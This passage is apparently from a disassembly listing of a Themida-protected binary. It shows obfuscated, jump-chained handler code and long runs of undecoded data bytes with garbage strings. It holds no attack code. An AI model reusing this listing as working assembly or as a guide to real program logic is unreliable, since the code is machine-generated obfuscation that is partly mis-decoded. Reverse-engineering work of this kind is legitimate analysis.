		sub	ecx, 63526FEBh
		jmp	loc_547245
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 0C4h
		dd 2DFFFF39h, 4, 0E9240487h, 0FFFF6C1Bh
; ---------------------------------------------------------------------------


loc_552908:				; CODE XREF: Themida_:005497C7j
		dec	ebx
		neg	ebx
		inc	ebx
		jmp	loc_54D965
; ---------------------------------------------------------------------------
		dd offset dword_5AABC4
		db 0B0h, 0FFh, 5Fh
		dd 4FB3A501h, 6AE1CD77h, 0FFA774FAh, 5A5E9AFFh,	0D408EB00h
		dd 21788h, 200h, 100h, 0
		dd 6AE1CD00h, 0FAh, 4 dup(0)
		dd 55DF6D00h, 55B16E00h, 554B5F00h, 557F6200h, 5550C800h
		dd 56454D00h, 563D8F00h, 556DB300h, 565CD500h, 55C30C00h
		dd 566D3700h, 5585F300h, 56448400h, 55DFD700h, 55ACDE00h
		dd 55B73700h, 566E7A00h, 55997000h, 55E7A700h, 56552C00h
		dd 56480D00h, 5606A100h, 558F5800h, 56510A00h, 55CBC800h
		dd 56263700h, 55593D00h, 5602FF00h, 562C1D00h, 55ACFC00h
		dd 566D9C00h, 55CE2800h, 56154600h, 561C3600h, 563C1300h
		dd 56022000h, 565D4900h, 55FD9000h, 555DBD00h, 559F7500h
		dd 55A53B00h, 560F1900h, 564A9800h, 55EF6900h, 5621AF00h
		dd 55EEB800h, 55507E00h, 5554FD00h, 55379000h, 55D5BE00h
		dd 567ED500h, 55D30000h, 562C6200h, 5660ED00h, 56601600h
		dd 56443800h, 56341F00h, 56502A00h, 56523400h, 553D7400h
		dd 55C5AA00h, 566BAA00h, 5568C900h, 565A5700h, 55469B00h
		dd 55F6C300h, 5677DF00h, 55418700h, 56461C00h, 55C73C00h
		dd 564F3500h, 55E13A00h, 56114200h, 55DB4200h, 5590A000h
		dd 55F91A00h, 564E5900h, 55A11D00h, 561B6A00h, 563DA700h
		dd 559B9300h, 565A2700h, 55EAFA00h, 5664EA00h, 564FAB00h
		dd 5593F300h, 55EC1B00h, 561AA900h, 56052C00h, 55424600h
		dd 55D0D200h, 55410300h, 55578500h, 55B25E00h, 55A4CD00h
		dd 55AC2000h, 561F8600h, 56142D00h, 55879200h, 55523600h
		dd 552FB200h, 559BBC00h, 55E37C00h, 56503E00h, 55414500h
		dd 55F2F500h, 55AAD900h, 55DC3800h, 5659F400h, 55707A00h
		dd 55496600h, 5567CD00h, 55C9F700h, 55C65000h, 56497600h
		dd 555AAB00h, 561A1D00h, 55A56800h, 55591700h, 55AD8F00h
		dd 557A2800h, 5680B000h, 5597FA00h, 5659D700h, 55C61F00h
		dd 56262700h, 56212300h, 559F5800h, 55441200h, 55C69000h
		dd 5561D900h, 55FA6C00h, 5530C800h, 562C9B00h, 558E1400h
		dd 55A25900h, 56223F00h, 56240E00h, 562D7B00h, 55444600h
		dd 566F0300h, 553CB900h, 55EADC00h, 563A4800h, 55E7D200h
		dd 557C4400h, 56801600h, 5547BE00h, 564E1100h, 557F8700h
		dd 562A8600h, 559FD500h, 564D9600h, 563A9700h, 55975500h
		dd 55D6FC00h, 56596B00h, 566A4E00h, 55620800h, 55CE1800h
		dd 55388E00h, 5532C800h, 5647FC00h, 55F68900h, 55CA9B00h
		dd 55D0B200h, 566A7A00h
		db 0
; ---------------------------------------------------------------------------


loc_552BF1:				; CODE XREF: Themida_:00593F7Fj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5EA4A2Ch
		mov	eax, edi
		add	edi, 5EA4744h
		cmp	eax, [edi+2Ch]
		jnz	short loc_552C0F
		jmp	short loc_552C22
; ---------------------------------------------------------------------------


loc_552C0F:				; CODE XREF: Themida_:00552C0Bj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_552C1E
; ---------------------------------------------------------------------------


loc_552C19:				; CODE XREF: Themida_:00552C20j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_552C1E:				; CODE XREF: Themida_:00552C17j
		or	ecx, ecx
		jnz	short loc_552C19


loc_552C22:				; CODE XREF: Themida_:00552C0Dj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_552C2F:				; CODE XREF: Themida_:00552C36j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_552C2F


loc_552C38:				; CODE XREF: Themida_:loc_552D1Dj
					; Themida_:0055529Aj ...
		lodsb
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0CBh
		not	bl
		and	bl, 0DEh
		jmp	loc_555E50
; ---------------------------------------------------------------------------


loc_552C4E:				; CODE XREF: Themida_:0056594Dj
		add	ebp, 5649076Eh
		sub	ebp, 121E6501h
		jmp	loc_5580AD
; ---------------------------------------------------------------------------


loc_552C5F:				; CODE XREF: Themida_:005578D7j
		mov	[esp], edx
		sub	esp, 4
		push	esp
		jmp	loc_5601C6
; ---------------------------------------------------------------------------


loc_552C6B:				; CODE XREF: Themida_:00560CCBj
		not	bh
		sub	bh, 0
		sub	al, bh
		jmp	loc_55B363
; ---------------------------------------------------------------------------
		db 5
		dd 4, 4CC968h, 242C8900h, 3DAE9h, 0B1516600h, 0E9C8286Eh
		dd 8176h
; ---------------------------------------------------------------------------


loc_552C94:				; CODE XREF: Themida_:00561804j
		mov	esi, 210068BDh
		push	794Eh
		jmp	loc_55D74D
; ---------------------------------------------------------------------------
		db 0B2h
		dd 284BB7C7h, 0FA285AD7h, 0E9D7885Bh, 66B3h, 0E95BF828h
		dd 12FA2h, 6624248Bh, 66240C89h, 66C8B60Fh, 69E99C51h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552CCF:				; CODE XREF: Themida_:005554D0j
		mov	[esp], esi
		push	0FEh
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_561071
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 4EC81h, 4890000h, 0B246E924h, 8F540000h
		dd 50512404h, 4DE1E9h, 48F5E00h, 24248B24h, 9C243CD3h
		dd 0A390E9h
		db 0
; ---------------------------------------------------------------------------


loc_552D1D:				; CODE XREF: Themida_:00565CBEj
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		dw 5052h
		dd 67F4B866h, 9EC1E9h
		db 0
; ---------------------------------------------------------------------------


loc_552D2D:				; CODE XREF: Themida_:0055A9FDj
		mov	[esp], edi
		mov	edi, 35C8471Eh
		push	ecx
		mov	ecx, 75B335E8h
		xor	edi, ecx
		pop	ecx
		jmp	loc_56299D
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 0E9C10158h, 731Fh, 0F0BF575Bh, 0E96D800Bh, 5DB4h
		dd 0EC80F428h, 0E9515A4Bh, 2273h
; ---------------------------------------------------------------------------


loc_552D68:				; CODE XREF: Themida_:0055A837j
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_565E01
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0D287B924h, 0CF01314Bh, 8BFB3159h, 0C481243Ch, 4, 2A1BE56h
		dd 0EEC112CEh, 9BC68104h, 811B2D64h, 4ECh, 243C8900h, 0B24861BFh
		dd 16BE5632h, 2926B1CBh, 8E95EF7h, 0BB0000DDh, 4, 875BDF01h
		dd 0FF5C243Ch, 48B2434h, 4C48124h, 68000000h, 21CCh, 89241C89h
		dd 4C381E3h, 50000000h,	0FF7BE1B8h, 0EE07E97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552DE6:				; CODE XREF: Themida_:00562409j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4D4Ah
		mov	[esp], ebx
		jmp	loc_55BEA1
; ---------------------------------------------------------------------------


loc_552DFA:				; CODE XREF: Themida_:00559F87j
		push	dword ptr [esp]
		mov	edx, [esp]
		push	esi
		jmp	loc_553041
; ---------------------------------------------------------------------------
		dw 0E901h
		dd 0CE45E9h, 750A6800h,	4890000h, 4DE66824h, 5E90000h
		db 0Bh,	1, 0
; ---------------------------------------------------------------------------


loc_552E1F:				; CODE XREF: Themida_:00556D30j
		pop	ecx
		push	ebx
		mov	ebx, 7A126B83h
		sub	ebx, 51243DD7h
		sub	edi, ebx
		pop	ebx
		sub	edi, esi
		push	esi
		mov	esi, 28EE2DACh
		jmp	loc_5633F6
; ---------------------------------------------------------------------------


loc_552E3C:				; CODE XREF: Themida_:00561C81j
		pop	ebx
		jmp	loc_56186F
; ---------------------------------------------------------------------------
		dw 8141h
		dd 0E91B8EE1h, 0E9D9F76Fh, 47B3h
; ---------------------------------------------------------------------------


loc_552E50:				; CODE XREF: Themida_:00554BB7j
		add	esp, 4


loc_552E56:				; CODE XREF: Themida_:00563725j
		push	eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5534B9
; ---------------------------------------------------------------------------
		dw 0CF01h
		dd 0E9240C8Bh, 788h
; ---------------------------------------------------------------------------


loc_552E6C:				; CODE XREF: Themida_:005668EDj
		and	al, 0A5h
		jmp	loc_5627B4
; ---------------------------------------------------------------------------
aRus		db 'RUé;',0Bh,0
		align 2
a1Zsk		db '1ÑZékÁ',0
		align 2
		dw 0EC83h
		dd 240C8904h, 5960BF57h, 0F9890585h, 53C1815Fh,	8152951Dh
		dd 62BF9E1h, 0EAC98104h, 816A7A00h, 490396E9h, 2E9C138h
		dd 2BD4B850h, 0C131430Fh, 0E924048Bh, 0B78Ch, 8904EC83h
		dd 2C812404h, 185F8B24h, 242C8B3Fh, 8104C483h, 185F8BC5h
		dd 4A0EE93Fh, 5B5F0000h, 4F32E9h
		db 0
; ---------------------------------------------------------------------------


loc_552EE1:				; CODE XREF: Themida_:005665D3j
		and	ecx, edx
		jmp	loc_558DE6
; ---------------------------------------------------------------------------
		dd 0FFFD4BE9h, 0E9D889FFh, 0E66h, 0F8E9575Ch, 5900001Bh
		dd 2B9768h, 24048900h, 8904EC83h, 0E389241Ch, 42E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_552F11:				; CODE XREF: Themida_:005598EFj
		xor	ebp, [esp]
		pop	esp
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_556726
; ---------------------------------------------------------------------------


loc_552F1F:				; CODE XREF: Themida_:00553AEDj
		mov	eax, esp
		push	edx
		mov	edx, 25A1698Bh
		sub	edx, 0E8192Eh
		shr	edx, 1
		or	edx, 2FC16E07h
		neg	edx
		neg	edx
		add	edx, 0C02211D5h
		add	eax, edx
		pop	edx
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 4
		add	esi, 2F715DCCh
		add	esi, edi
		sub	esi, 2F715DCCh
		pop	edi
		xchg	esi, [esp]
		pop	esp
		movzx	eax, al
		jmp	loc_560C65
; ---------------------------------------------------------------------------
		dd 5259CF01h, 571D14BAh, 7BC28134h, 1C2DD7Ch, 0B054E9D7h
		dd 1C8B0000h, 4C48124h,	0C1000000h, 0EBC108EBh,	35F2E906h
		dd 0D8F60000h, 0D0F60034h, 7B1E951h, 8B660000h,	74E92404h
		dd 59000145h, 0C103E2C1h, 0EAC105E2h, 6F28107h,	0E97FBC65h
		dd 14CBh, 5B5FFD89h, 34FFEB21h,	2B10E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552FDE:				; CODE XREF: Themida_:00558A4Bj
		add	esp, 4
		pop	esi
		jmp	loc_555FAE
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0B4A63CBh, 0FF5BD801h, 1DE92434h, 8B000084h,	0C4812404h
		dd 4, 1AF1BE56h, 0D9E9332Ch
		db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55300B:				; CODE XREF: Themida_:00567E0Dj
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_55907D
; ---------------------------------------------------------------------------


loc_55301C:				; CODE XREF: Themida_:0055A636j
		add	[esp+4], eax
		jmp	loc_561D1F
; ---------------------------------------------------------------------------
aUsp		db 'UéP-',0
		dw 2800h
		dd 4EC81C3h, 89000000h,	0B4502414h, 58E28849h, 6F2AE9h
		db 0
; ---------------------------------------------------------------------------


loc_553041:				; CODE XREF: Themida_:00552E01j
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	ebx
		jmp	loc_562AC0
; ---------------------------------------------------------------------------
		dw 84BAh
		dd 424B4338h, 1485EA81h, 4E9F4A5h, 830000BDh, 0C8904ECh
		dd 0C186824h, 495909DAh, 1399FE9h, 14E95600h, 81000011h
		dd 9376DCF1h, 59CA299Eh, 55AD089h, 7D4F745Dh, 48BC201h
		dd 4C48124h, 0E9000000h, 3404h,	37B4FFB9h, 59CD3140h, 575DE829h
		dd 0C781E789h, 4, 6B76856h, 0C15E6759h,	0B95108EEh, 0FF98A6FEh
		dd 0E959CE01h, 1E99h, 9D1C77FFh, 1CD35966h, 61E99C24h
		dd 54FFFFFBh, 2A7DE95Fh, 3C870001h, 53515C24h, 0C645E7BBh
		dd 1DC38109h, 89F639BAh, 0CE015BD9h, 0C74DE9h, 2434FF00h
		dd 0E789575Eh, 4C781h, 0C7810000h, 4, 0FFFFCDE9h, 4C181FFh
		dd 52000000h, 2074E9h, 2406BB00h, 0DBF764EDh, 9026EB81h
		dd 0D801544Eh, 83241C8Bh, 52E904C4h, 29000099h,	243C8BFBh
		dd 1009FE9h, 62E95A00h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553147:				; CODE XREF: Themida_:0055F8F7j
		push	7BDA78CAh
		jmp	loc_557EFE
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 50000000h, 405E089h,	2D000000h, 4, 12287E9h,	81D10100h
		dd 637C70E9h, 30D5E914h, 248B0000h, 241C8924h, 42474FFh
		dd 24048F5Bh, 0E924248Bh, 60E5h, 0D486CCFEh, 0D486CAFEh
		dd 5379EC80h, 88E68852h, 0DE885AF3h, 88DFE95Bh,	0C3300000h
		dd 0E9C0B60Fh, 51CDh
; ---------------------------------------------------------------------------


loc_5531B0:				; CODE XREF: Themida_:0055A5D9j
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	esi
		mov	esi, 1A976DBBh
		xchg	edi, esi
		not	edi
		jmp	loc_5648D2
; ---------------------------------------------------------------------------


loc_5531C8:				; CODE XREF: Themida_:005624F2j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5572DE
; ---------------------------------------------------------------------------
		dw 5455h
		dd 3068565Dh, 0E92E1123h, 11369h, 5134E981h, 0CE299760h
		dd 814CE959h, 295C0000h, 241C8BD9h, 0C104C483h,	0C18106E1h
		dd 0D17692B9h, 0CCE9C829h, 8300003Bh, 5E902C2h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55321B:				; CODE XREF: Themida_:00559D38j
		or	ebx, 11EE25C5h
		jmp	loc_55B07B
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 4EC81h, 14890000h,	410E6824h, 0D1E90000h
		dd 0FF0000A7h, 58042474h, 5A87E9h, 0DAF48000h, 3C4E9h
		dd 24048900h, 2311E9h, 83E18900h, 48904ECh, 951CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553266:				; CODE XREF: Themida_:0055C901j
		pop	eax
		add	esp, 4
		jmp	loc_5647B7
; ---------------------------------------------------------------------------


loc_553272:				; CODE XREF: Themida_:0055DCEAj
		mov	[esp], esi
		xchg	edx, [esp]
		push	edx
		jmp	loc_55AA14
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 1ACC72CAh, 75940D48h, 0E92D1811h, 81EEE75Dh,	9C1049EBh
		dd 81C3293Bh, 9C1049C3h, 0C381583Bh, 1AA535B6h,	1868E950h
		dd 0EB800000h, 5BD88836h, 0E2C4D24h, 2234D524h,	5358C588h
		dd 3876E9h
		db 0
; ---------------------------------------------------------------------------


loc_5532C1:				; CODE XREF: Themida_:0055A510j
		push	ecx
		push	eax
		jmp	loc_5540C6
; ---------------------------------------------------------------------------
		dd 240C8B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_560CD8
; ---------------------------------------------------------------------------


loc_5532D4:				; CODE XREF: Themida_:00553C4Aj
		inc	edi
		jmp	loc_5595BE
; ---------------------------------------------------------------------------
		dw 0CF20h
		dd 81240C8Bh, 4C4h, 80E7D000h, 0CAE998C7h, 310000C7h, 0E0C15BD8h
		dd 4EC8306h, 0E9243C89h, 0DE03h, 15DEE29h, 0E3C681EEh
		dd 5D0D090Ah, 4DE9F229h, 56000016h, 2F0E12BEh, 9DCE8131h
		dd 8132114Eh, 0C0B165C6h, 5EF789CCh, 8B1FF52Dh,	611C0540h
		dd 0F8014D7Bh, 611CBA52h, 51E94D7Bh, 8100010Ch,	4C4h, 8BC28900h
		dd 89512404h, 4C181E1h,	83000000h, 0C8704C1h, 67DEE924h
		dd 0EE830000h, 24348704h, 11E8FE9h, 0E9586600h,	0AF93h
; ---------------------------------------------------------------------------


loc_553370:				; CODE XREF: Themida_:00555CD9j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55C6C1
; ---------------------------------------------------------------------------
		db 50h
		dd 11A5DE9h, 0E0EBBF00h, 0FB29E041h, 4B36E95Fh,	0E9810000h
		dd 0B5B5400h, 81242C8Bh, 4C4h, 0B904E900h, 0C3810000h
		dd 75766584h, 5ADEE9h, 16E95200h, 5A0000F1h, 0E991C780h
		dd 2086h, 0D725FEB9h, 5FF9315Ch, 28BAC781h, 0C5E908EFh
		dd 0E9000082h, 0FFFFF864h
; ---------------------------------------------------------------------------


loc_5533D4:				; CODE XREF: Themida_:00563533j
		pop	eax
		jmp	loc_56409E
; ---------------------------------------------------------------------------


loc_5533DA:				; CODE XREF: Themida_:00557303j
		shl	eax, 3
		xchg	eax, ebp
		not	ebp
		jmp	loc_559D1C
; ---------------------------------------------------------------------------


loc_5533E5:				; CODE XREF: Themida_:00563FC8j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		sub	ebp, 2680F16h
		add	ebp, edx
		push	edx
		mov	edx, 2680F16h
		add	ebp, edx
		pop	edx
		pop	edx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55B85B
; ---------------------------------------------------------------------------
		db 89h
		dd 0DAE9240Ch, 0BA0000C5h, 17741790h, 8104E2C1h, 0F42B5E2h
		dd 0FA1DE925h, 0C4830000h, 0F1E95104h, 8700005Dh, 80E9242Ch
		dd 810000D9h, 4C4h, 4C58100h, 52000000h, 0C281E289h, 4
		dd 14593E9h, 8DE98100h,	811C725Ch, 71E1B7F1h, 59C801F8h
		dd 9EBA5256h, 0BE2DAD2Ah, 2DAD2AA0h, 8E39E9h, 80C30000h
		dd 0C38003EBh, 22EB809Ch, 61B652h, 42F5E9F3h, 34FF0001h
		dd 24048B24h, 4C481h, 0C4810000h, 4, 135EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5534B9:				; CODE XREF: Themida_:00552E5Dj
		add	dword ptr [esp], 4
		jmp	loc_5659E3
; ---------------------------------------------------------------------------
		dw 0CB89h
		dd 83240C8Bh, 34FF04C4h, 0E9505824h, 0B3E0h
; ---------------------------------------------------------------------------


loc_5534D4:				; CODE XREF: Themida_:0055B5AFj
		push	edx
		mov	edx, 4D6956B8h
		push	eax
		mov	eax, 7DF048DCh
		and	edx, eax
		pop	eax
		and	edx, 0DBB5888h
		xor	edx, 0AB437E8h
		not	edx
		add	edx, 1B3939A1h
		jmp	loc_5558FD
; ---------------------------------------------------------------------------
		dd 68241489h, 145570C5h, 7155E9h
		db 0
; ---------------------------------------------------------------------------


loc_553509:				; CODE XREF: Themida_:0055A234j
		sub	esi, edi
		add	esi, 5A5B0810h
		jmp	loc_559F4F
; ---------------------------------------------------------------------------


loc_553516:				; CODE XREF: Themida_:005566A8j
		sub	ebp, edi
		add	ebp, 1E6B5A51h
		add	ebp, 50611D7h
		pop	edi
		mov	edx, ebp
		jmp	loc_5557AD
; ---------------------------------------------------------------------------
		dd 5066C2B3h, 0C32006B0h, 24048B66h, 8002C483h,	0E950AEC3h
		dd 0B7D9h, 0BB28BB53h, 0D829B2EDh, 5DE9535Bh, 52000110h
		dd 1A22E953h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55355A:				; CODE XREF: Themida_:005654B1j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_5590A8
; ---------------------------------------------------------------------------
		dw 0FE29h
		dd 1B80E9h, 0D9354000h,	89D35A5Fh, 0D1F758C1h, 0A164E941h
		dd 0E9500000h, 10D72h, 4C281h, 0C2810000h, 4, 0B35EE9h
		dd 24048F00h, 241C895Ch, 2BBh, 0B3C28100h, 14DF641h, 0B3EA81DAh
		dd 8B4DF641h, 0C483241Ch, 24143304h, 33241431h,	248B2414h
		dd 2CD36624h, 0EFE99C24h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5535CB:				; CODE XREF: Themida_:0055C20Ej
		shl	edi, 1
		sub	edi, 0A81DED3Dh
		jmp	loc_55B41C
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0EA2904C4h, 27FC281h, 34FF78FAh, 73E95D24h
		dd 0E900002Eh, 0FFFFF644h, 0E904C483h, 40A4h, 0D06FF505h
		dd 68565238h, 736C7F56h, 6F1E9h, 24048900h, 0FFF623E9h
		dd 84C380FFh, 0EB80E328h, 24048B84h, 0F04C483h,	34FFC0B6h
		dd 4BBD6887h, 4890000h,	1982B824h, 44314242h, 0BEE90424h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55363F:				; CODE XREF: Themida_:005557E9j
		mov	ebp, edi
		pop	edi
		jmp	loc_555CF3
; ---------------------------------------------------------------------------
aBuageuhB	db 'îag¥UhÍB',0
		align 2
		dw 0FAE9h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553657:				; CODE XREF: Themida_:005644EEj
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_561300
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 34FF0000h, 89535924h, 4C381E3h, 50000000h, 4B8h
		dd 0FB85E900h, 4B80000h, 0E904ED1Fh, 31EFh, 8059595Ah
		dd 0C3805EC3h, 51C300D8h, 0B75331B5h, 80EFD06Eh, 0FD20B3F7h
		dd 2145E9h
		db 0
; ---------------------------------------------------------------------------


loc_5536A9:				; CODE XREF: Themida_:005660E8j
		mov	esi, [esp]
		jmp	loc_55489E
; ---------------------------------------------------------------------------
		db 87h,	0D3h, 0C1h
		dd 0DBF703EBh, 11437E9h
		db 0
; ---------------------------------------------------------------------------


loc_5536BD:				; CODE XREF: Themida_:00557770j
		mov	eax, edi
		pop	edi
		not	eax
		and	eax, 6FB4AE2h
		shl	eax, 4
		jmp	loc_5542ED
; ---------------------------------------------------------------------------
		dd offset dword_4F0044+724h
		align 4
		dd 89241489h, 4BD55E2h,	50000000h, 734168h, 242C8900h
		dd 214789BDh, 4CB1B856h, 0E8296A88h, 83242C8Bh,	574804C4h
		dd 0A9FFE9h, 244C0100h,	34E0E904h, 9B2D0000h, 1FDF90Bh
		dd 1110E9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553716:				; CODE XREF: Themida_:0055705Dj
		mov	[esp], ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		mov	ecx, [esp]
		jmp	loc_567C43
; ---------------------------------------------------------------------------
		db 28h
		dd 0C3805BFDh, 81EB282Eh, 4ECh,	240C8900h, 0DAA8E9h
		db 0
; ---------------------------------------------------------------------------


loc_553749:				; CODE XREF: Themida_:005553EDj
		pop	ebx
		sub	al, 94h
		add	al, bl
		push	2704h
		jmp	loc_55F38F
; ---------------------------------------------------------------------------


loc_553758:				; CODE XREF: Themida_:0055ED62j
		add	ebx, 4
		jmp	loc_56472D
; ---------------------------------------------------------------------------
		db 0B5h
		dd 6ECD80C4h, 109068h, 24148900h, 0C2FE01B2h, 0A9E9DAF6h
		dd 31000092h, 0E9C631F0h, 8975h
; ---------------------------------------------------------------------------


loc_553784:				; CODE XREF: Themida_:00553804j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_554A63
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 37ADh, 4C5835Eh,	5C242C87h, 1AE9F381h, 65E91A62h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5537AB:				; CODE XREF: Themida_:0055978Fj
		sub	ebp, esi
		jmp	loc_558D65
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 0FFFFBD55h, 0EB29FFFFh, 4EC835Dh, 53242C89h,	9A4BBBBBh
		dd 5BDD894Eh, 59C3CD81h, 0ED8152F4h, 0A0D6581h,	0E5C1EDD1h
		dd 48BB5303h, 0E9594035h, 7D78h, 4C781h, 0C7810000h, 4
		dd 5C243C87h, 9F24E9h
		db 0
; ---------------------------------------------------------------------------


loc_5537FD:				; CODE XREF: Themida_:0056694Aj
		pop	ebx
		add	ebx, 4
		jmp	loc_553784
; ---------------------------------------------------------------------------


loc_553809:				; CODE XREF: Themida_:00554A10j
		mov	[esp], ebx
		mov	ebx, ecx
		mov	edx, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5622A2
; ---------------------------------------------------------------------------
		db 58h
		dd 22F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55382D:				; CODE XREF: Themida_:00564165j
		add	esp, 4
		sub	ebp, 2
		jmp	loc_563516
; ---------------------------------------------------------------------------


loc_55383E:				; CODE XREF: Themida_:00567E74j
		mov	ebp, 4
		sub	eax, 3F454636h
		add	eax, ebp
		add	eax, 3F454636h
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_560A5C
; ---------------------------------------------------------------------------
		dw 0FF58h
		dd 58E92434h, 0BE000135h, 3EC24008h, 87EE681h, 0DEF736A9h
		dd 6C0AE681h, 0EE816C32h, 33F2639Ch, 8107EEC1h,	190E84E6h
		dd 3175E90Ah, 34FF0001h, 0C3685824h, 8900004Bh,	58542404h
		dd 405h, 146C6800h, 14890000h, 0DA685324h, 5B0AA724h, 0DB2AC381h
		dd 0DA89F558h, 69A52D5Bh, 0EDE90931h
		db 45h,	1, 0
; ---------------------------------------------------------------------------


loc_5538C3:				; CODE XREF: Themida_:00565CB6j
		pop	ebx
		jmp	loc_55FE59
; ---------------------------------------------------------------------------


loc_5538C9:				; CODE XREF: Themida_:0056734Bj
		and	edi, edx
		jmp	loc_566AE0
; ---------------------------------------------------------------------------
		dd 8959CF89h, 0B0BFE9FAh, 0E5890000h, 4C581h, 0C5810000h
		dd 4, 0E9242C87h, 538Eh
; ---------------------------------------------------------------------------


loc_5538F0:				; CODE XREF: Themida_:0055E451j
		pop	ebp
		jmp	loc_5552BD
; ---------------------------------------------------------------------------
		dw 4E66h
		dd 0D3C68166h, 0F1896667h, 95BDE95Eh, 5B540000h, 4BA5251h
		dd 0E9000000h, 6257h
; ---------------------------------------------------------------------------


loc_553914:				; CODE XREF: Themida_:005629A0j
		sub	edi, 80F6E5Ah
		add	eax, edi
		jmp	loc_564512
; ---------------------------------------------------------------------------


loc_553921:				; CODE XREF: Themida_:005565ECj
		push	esi
		push	eax
		mov	eax, 57D0EE2h
		jmp	loc_556A1A
; ---------------------------------------------------------------------------


loc_55392D:				; CODE XREF: Themida_:005561B5j
		push	50934714h
		pop	edi
		jmp	loc_564AD4
; ---------------------------------------------------------------------------
		dd 53240489h, 0C381E389h, 4, 8704EB83h,	2E9241Ch, 810000B1h
		dd 99A094EFh, 4EC8306h,	0BD242C89h, 180056D6h, 241CF755h
		dd 83242C8Bh, 524504C4h, 5870A9BAh, 67E7E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553976:				; CODE XREF: Themida_:0056028Dj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, 6F9D368Ch
		add	edi, 675D5986h
		push	esi
		mov	esi, 254E036Ch
		push	2404h
		mov	[esp], edx
		mov	edx, 627A4549h
		shl	edx, 1
		xor	edx, 0F80D8682h
		and	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55F889
; ---------------------------------------------------------------------------
		db 0BDh, 0EFh, 76h
		dd 0AEBA55A5h, 317FFE18h, 0B3E95DEAh, 83FFFFF4h, 0C8904ECh
		dd 2B924h, 0EB810000h, 131E0090h, 0C381CB01h, 131E0090h
		dd 81240C8Bh, 4C4h, 241C3300h, 33241C31h, 9EE9241Ch
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5539F7:				; CODE XREF: Themida_:0056465Ej
		push	edx
		mov	edx, 71F2618Ah
		mov	ebx, 74DB05C2h
		xor	ebx, edx
		jmp	loc_56355A
; ---------------------------------------------------------------------------
aYsz		db 'YézÇ',0
		dw 0C100h
		dd 515205E7h, 0D5097DB9h, 26E98106h, 0C1057D7Ch, 0F18105E1h
		dd 2D252D8Ah, 9E30C181h, 0CA896B7Fh, 592434FFh,	4C481h
		dd 0DBE90000h, 0BD000110h, 63DA6262h, 4506EDC1h, 4AA4ED81h
